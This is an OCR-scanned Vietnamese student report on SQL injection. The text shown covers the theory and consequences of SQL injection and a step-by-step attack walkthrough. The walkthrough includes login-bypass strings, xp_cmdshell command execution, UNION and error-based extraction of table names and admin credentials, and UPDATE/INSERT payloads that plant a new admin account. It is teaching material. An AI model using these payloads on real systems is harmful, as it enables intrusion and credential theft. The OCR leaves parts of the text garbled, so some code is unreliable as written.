1. Trang chủ
  2. » Luận Văn - Báo Cáo

Đề tài tìm hiểu về sql injection – chèn mã sql

19 0 0
Tài liệu được quét OCR, nội dung có thể không chính xác
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 19
Dung lượng 1,74 MB

Nội dung

SQL injection — con duoc goi la SQLi — SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hồng của việc kiểm tra dữ liệu đầu vảo trong các ứng dụng web và các thông báo

Trang 1

TRUONG DAI HOC NGAN HANG THANH PHO HO CHi MINH

DE TAI: TIM HIEU VE SQL INJECTION — CHEN

MA SQL

Lop: ITS307_212 D03 Giáo viên hướng dẫn: Đặng Hoàng Huy

Nhóm: 8

TP.HCM, 02-06-2022

Trang 2

MUC LUC

Danh sach thanh vién nhom 8 3

I Ly thuyét SQL Injection 4

2 Hau qua cia SQL Injection 4

II Qua trinh tan céng bang SQL Injection 5

2 Kiểm tra chỗ yếu của trang web 6

3 Tại sao “ or I=I— cĩ thể vượt qua phần kiểm tra đăng nhập? - . - - 6

4 Thi hành lệnh từ xa bằng SQL Injection 7

5 Nhận output cia SQL query 7

6 Nhận dữ liệu qua “database using ODBC error m€SSAäEC” G0 2530159651955 8

7, Xác định tên của các column trong table 9

8 Thu thập các dữ liệu quan trọng 10

9, Nhận các numeric string 10

10 Thay đối dữ liệu (Update/Insert) của CSDI 11

HI Phân loại các kiểu tấn cơng SQL Injection 12

IV.Làm thế nào để diệt tận gốc các lỗ hỗng SQL Injection 14 TÀI LIỆU THAM KHẢO 19

Trang 3

Danh sách thành vién nhom 8

Tên thành viên MSSV

Nguyễn Văn Tân 03023620013

9

Nguyễn Sinh Tài 03023620

0135

Trần Quỳnh Thảo 03023620

0157

Nguyễn Trọng Thảo 03023620

0154

Lê Thị Thu Thảo 03023620

0153

Trang 4

NOI DUNG

I Ly thuyét SQL Injection

1.SQL Injection la gi?

SQL injection — con duoc goi la SQLi — SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hồng của việc kiểm tra dữ liệu đầu vảo trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở đữ liệu trả vé dé 1nJect (tiêm vào)

và thí hành các câu lệnh SQL bất hợp pháp SQL injection có thế cho phép những ké

tấn công thực hiện các thao tác, delete, Insert, update, v.v trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy

SQL injection thường được biết đến như là một vật trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở đữ liệu như SQL Server, MySQL, Oracle, DB2, Sybase

SQL Injection chu yéu duge biét dén nhu mét vector tan céng dành cho các trang web Nhưng nó cũng có thê được dùng để tấn céng bat ky loai co sé dit ligu SQL nao Các cuộc tân công SQL Injection cho phép hacker giả mạo danh tính, xáo trộn dữ liệu Hay gay ra các vấn đề như làm mắt hiệu lực giao dịch, thay đổi số dư, tiết lộ hay phá hủy đữ liệu trên hệ thống Thậm chí là làm dữ liệu không khả dụng hoặc trở thành admin cua server cơ sở dữ liệu

Các cuộc tấn công SQL InJection được thực hiện bằng cách gửi lệnh SQL độc hại đến các máy chủ cơ sở dữ liệu thông qua các yêu cầu của người dùng mà website cho phép Bất kỳ kênh input nào cũng có thê được sử dụng để gửi các lệnh độc hại, bao gồm các thẻ<input>, chuỗi truy vấn (query strings), cookie và tệp tín

Tuy nhiên ngày nay chúng ta thường làm việc trên nhtmg framework hiện đại Các framework đều đã được test cân thận để phòng tránh các lỗi, trong đó có SQL Injection

2 Hau qua cua SQL Injection

¢ Lam 16 dit ligu trong database Tuy vao tam quan trọng của đữ liệu mà hậu

quảdao động ở mức nhẹ cho đến vô cùng nghiêm trọng.

Trang 5

¢ Lộ dữ liệu khách hàng có thê ảnh hưởng rất nghiêm trọng đến công ty Hình ảnh

công ty có thê bị ảnh hưởng, khách hàng chuyên qua sử dụng dịch vụ khác, dẫn đến phá san v v

® - Hack tài khoản cá nhân

® _ Ăn cắp hoặc sao chép đữ liệu của trang web hoặc hệ thống

e Thay đổi dữ liệu nhạy cảm của hệ thống

e _ Xóa dữ liệu nhạy cảm và quan trọng của hệ thông

® - Người dùng có thế đăng nhập vào ứng dụng với tư cách người dùng khác, ngay

cả với tư cách quản trị viên

® Người dùng có thể xem thông tin cá nhân thuộc về những người dùng khác, vi

dụ chỉ tiết hồ sơ của người dùng khác, chị tiết giao dich cua ho,

¢ Newoi dung co thé stra déi cau tric cua co sé dit liu, tham chi x6a cac bang trong cơ sở đữ liệu ứng dụng

®_ Người dùng có thể kiếm soát máy chủ cơ sở dữ liệu vả thực thi lệnh theo ý muốn

H Quá trình tấn công bằng SQL Injection

1.Tìm kiếm mục tiêu

Có thế tìm các trang web cho phép submit đữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chắng hạn như các trang login, search, feedback,

Ví dụ:

http: //yoursite.com/index.asp?id=10

Một số trang web chuyền tham số qua cac field ân, phải xem mã HTML mới thấy rõ

Ví dụ như ở dưới

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>

2 Kiểm tra chỗ yếu của trang web

Thu submit cac field username, password hoặc field id, bang hi’ or

Trang 6

1=1-Login: hit or 1=1

Password: hi' or 1=l

http: //yoursite.com/index.asp?id=hi' or 1=1

Néu site chuyén tham s6 qua field an, hay download source HTML, luu trén dia cứng và thay đổi lại URL cho phù hợp Ví đụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>

<input type=hidden name=A value="hi' or 1=1 ">

</FORM>

Nêu thành công, thì có thê lop1n vào mà không cần phải biệt username va password

3 Tại sao “ or I=l— có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http: //yoursite.com/index.asp?category-food

Trong URL trén, bién ‘category’ dugc gan gia tri la ‘food’ Ma ASP cua trang này có

thê như sau (đây chỉ là ví dụ thôi):

v_cat = request ("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqistr)

v_cat sẽ chứa giá trị của bién request(“category”) là 'food” và câu lệnh SQL tiếp theo

sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dong query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCatepory= food”

Nếu thay đổi URL trén thanh http://yoursite.com/index.asp?category=food’ or 1=1-,

>

biến v_cat sẽ chứa giá trị “food” or I=1— ” và đòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or l=i '

Dong query trén sé select moi thir trong bang product bat chap gia trị của trường PCategory c6 bang ‘food’ hay khéng Hai dau gach ngang (—) chi cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “—” sé bi bd qua Déi vi MySQL, hay thay

=” thành “#7

Trang 7

Ngoài ra, cũng có thê thử cách khác bằng cach submit * or ‘a’=’a Dong SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi

hay không:

top 1=1—-

" or 1=1

or 1=1

"or 'at='a

"or "at="a

") or (‘atsta

4 Thi hanh lénh tir xa bang SQL Injection

Nếu cài đặt với chế độ mặc định ma không có điều chỉnh gi, MS SQL Server sé chay

ở mức SYSTEM, tương đương với mức truy cập Administrator trén Windows Co thé dung store procedure xp_cmdshell trong CSDL master dé thí hành lệnh từ xa:

'ÿ exec master xp_comdshell "ping 10.10.1.2'

Hay thir ding dau nhay déi (“) néu dau nhay don (‘) khéng lam việc

Dấu cham phay (sé kết thúc dòng SQL query hién tai va cho phép thi hanh mét SQL command méi Để kiểm tra xem lệnh trên có được thi hành hay không, có thê listen cac ICMP packet tir 10.10.1.2 bang tepdump nhu sau:

#tepdump Lemp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành

5 Nhan output cua SQL query

Có thê dùng sp_makewebtask đề ghi các output của SQL query ra mét file HTML

EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", “SELECT * FROM

INFORMATION SCHEMA, TABLES"

Chú ý: folder “share” phải được share cho Everyone trước

Trang 8

6 Nhan dit liéu qua ‘database using ODBC error message’

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tín quan trong Lay vi du 6 trén http://yoursite.com/index.asp?id=10, bay gio chung ta thir hop

nhất inteper ˆ10” với một string khac lay tr CSDL:

http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA TABLES

Bang INFORMATION SCHEMA.TABLES cua hé théng SQL Server chira thong

tin về tất cả các bảng (table) có trên server Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tổn tại Query của chúng ta là:

SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA TABLES-—

Dong query nay sé trả về tên của bảng đầu tiên trong CSDL

Khi chung ta két hop chudi nay voi sé integer 10 qua statement UNION, MS SQL

Server sẽ cố thử chuyển một strine (nvarchar) thành một số integer Diéu nay sé gp lỗi nếu như không chuyên được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040607'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value

"tablel' to a column of data type int

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyén sang integer nhung khéng dugc,

“table1” Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn

Đề lấy tên của tên của bảng tiếp theo, có thế dùng query sau:

http://yoursite.ccm/index.asp?id=l9 UNION SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA,.TABLES WHERE TABLE NAME NOT IN ('tablel')

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA.TABLES WHERE TABLE NAME LIKE '%25login$25'

Khi đó thông báo lỗi của SQL Server có thể là:

Trang 9

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value ‘admin login' to a column of data type int

/index.asp, line 5

Mau so sanh ‘%25login%25” sé trong duong voi %login% trong SQL Server Nhu thay trong théng bao lỗi trên, chúng ta có thể xác định được tên của một table quan trọng la “admin_login”

7 Xác định tén cia céc column trong table

Table INFORMATION _SCHEMA.COLUMNS chia tên của tất cả các column trong

table C6 thé khai thác như sau:

http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN NAME FROM

INFORMATION SCHEMA.COLUMNS WHERE TABLE NAMBP='admin login'-—

Khi đó thông báo lỗi của SQL Server có thế như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login iở'

to a column of data type int

/index.asp, line 5

Nhu vay tén cua column dau tién 1a “login id” Dé lay tên của các column tiép theo,

có thê dùng mệnh dé logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE NAME='admin login’ WHERE COLUMN NAME NOT IN

(login id)

Khi đó thông báo lỗi của SQL Server có thê như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int

/index.asp, line 5

Làm tương tự như trên, có thê lây được tên của các column con lai nhu “password”,

“details” Khi đó ta lây tên của các column này qua các thông bao 161 cua SQL Server, như ví dụ sau:

Trang 10

INFORMATION SCHEMA.COLUMNS WHERE TABLE NAMF="admin login' WHERE COLUMN NAME NOT IN

(‘login _id', 'login name', 'password',details')

Khi đó thông báo lỗi của SQL Server có thê như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]ORDER BY items must appear in the

select list if the statement contains a UNION operator

/index.asp, line 5

8 Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trong Chung ta sé thu thập các thông tin quan trọng từ các table và column này

Có thể lấy login_name đầu tiên trong table “admin login” như sau:

http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login

Khi đó thông báo lỗi của SQL Server có thê như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login name là “neo” Hãy thử lấy password của “neo” như sau:

http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin login where login_name='neo'

Khi đó thông báo lỗi của SQL Server có thê như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int

/index.asp, line 5

Va bay e210 1a da c6 thé login vao voi username 1a “neo” va password 1a “m4trix”

9, Nhan cac numeric string

Có một hạn chế nhỏ đối với phương pháp trên Chúng ta không thể nhận được các error message néu server c6 thé chuyén text ding 6 dang số (text chỉ chứa các kí tự số

10

Trang 11

từ 0 đến 9) Gia str nhu password cua “trinity” là “31173” Vay néu ta thi hanh lénh

sau:

http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin login

where login _name="trinity'-~

Thị khi đó chỉ nhận được thông báo lỗi “Page Not Found” Ly do bởi vì server có thé chuyển password “31173” sang dang s6 truéc khi UNION voi integer 10 Dé giai quyết vấn đề này, chúng ta có thê thêm một vài kí ty alphabet vao numeric string nay

để làm thất bại sự chuyền đổi từ text sane số của server Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password

%2b'%20morpheus') FROM admin login where login name="trinity'-—

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+” là 0x2b) Chúng ta thêm chuỗi “(space)morpheus” vào cuối password đề tạo ra một strinp

mới không phai numeric string là ‘31173 morpheus’ Khi ham convert() được gọi để

chuyén ‘31173 morpheus’ sang integer, SQL server sé phat 146i ODBC error message

sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thê login vao véi username ‘trinity’ va password la

“31173!

10 Thay doi dir ligu (Update/Insert) cua CSDL

Khi đã có tên của tất ca cac column trong table, có thê sử dụng lệnh UPDATE hoặc INSERT đề sửa đồi/tạo mới mét record vao table nay

Dé thay déi password cua “neo”, co thể làm như sau:

http: //yoursite.com/index.asp?id=10; UPDATE "admin login’ SET "password' =

"newpas5' WHERE login name='neo'-—

Hoặc nêu bạn muôn một record mới vao table:

http://yoursite.com/index.asp?id=10; INSERT INTO "admin _login' (‘login _id',

"login name', 'password', 'details') VALUES (666, 'neo2', 'newpas5', 'NA')-—

Va bay 210 c6 thé login vao voi username “neo2” va password la “newpas5”

11

Ngày đăng: 04/12/2024, 17:38

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w